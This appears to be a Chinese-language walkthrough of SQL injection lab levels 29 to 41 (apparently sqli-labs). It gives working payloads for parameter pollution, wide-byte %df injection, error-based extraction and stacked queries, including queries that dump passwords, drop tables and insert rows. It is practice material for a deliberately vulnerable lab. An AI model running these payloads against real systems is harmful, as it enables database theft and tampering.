29 参数污染
1 | # login.php |
1 | explode(separator,string,limit) 函数把字符串打散为数组。 |
对于login.php?id=1&id=2
apache(php)会解析最后一个参数,tomcat(jsp)会解析第一个参数,第一个id会经过whitelist()和java_implimentation()
whitelist()作用是传入的参数必须是一位及以上的数字
java_implimentation()用&分割字符串为两部分,然后进行数组遍历,如果字符前两位为id,那么返回它的3-30位字符
参数污染 id=1 & id=0' union select 1,2,'3
可以参考https://blog.csdn.net/nzjdsds/article/details/77758824
30 参数污染
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
和上一关差不多 双引号闭合
?id=1&id=-1" union select 1,2,"3
?id=12&id=-1" union select 1,(select password from users limit 0,1),"3
31 参数污染
1 | $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; |
?id=12&id=-1") union select 1,(select password from users limit 0,1),("3
32 宽字节注入
?id=1%df%27%20union%20select%201,2,3%20--+
?id=0%df%27%20union%20select%201,database(),3%20--+
?id=0%df%27%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),3%20--+
在查字段名的时候需要把'users'转成16进制,16进制的表名不需要引号
0x7573657273
?id=0%df%27%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273%20limit%200,1),3%20--+
33 宽字节注入
和32一模一样
?id=1%df%27%20and%201=1%20--+
34 宽字节注入(POST)
过滤方式和上面的一样,可以使用burp直接传,不过POST传入数据时会进行url编码,
在输入
1%df or 1=1#后抓包可以看到前面的%df变成了%25df
uname=1%25df%27+or+1%3D1%23&passwd=aa&submit=Submit修改一下即可
35 宽字节注入
和32差不多 只不过这里是字符型,不需要'闭合
?id=0 union select 1,database(),3
36 宽字节注入
和前面一样
?id=0%df%27%20union%20select%201,2,3--+
?id=0%df%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+
37 宽字节注入(POST)
和34一样
38 堆叠注入
1 |
|
mysqli_multi_query()堆叠注入,多个查询用;分隔
参考https://www.cnblogs.com/lcamry/p/5762905.html
?id=1';create table test like users --+
发现数据库中新建了名的test的表
?id=1';drop table test; --+删除test表
在uers表添加数据
?id=1';insert into users(id,username,password) values('25','Mamor','Mamor')--+
39 堆叠注入
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
数字型 不需要闭合
?id=1;insert into users(id,username,password) values('26','Mamor','Mamor') --+
40 堆叠注入
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
?id=1') ; insert into users(id,username,password) values('40','Mamor','Mamor')--+
41 堆叠注入
?id=2-1 --+和?id=1 --+返回结果一样
可以判断是数字型,和39一样
?id=1 ; insert into users(id,username,password) values('40','Mamor','Mamor')--+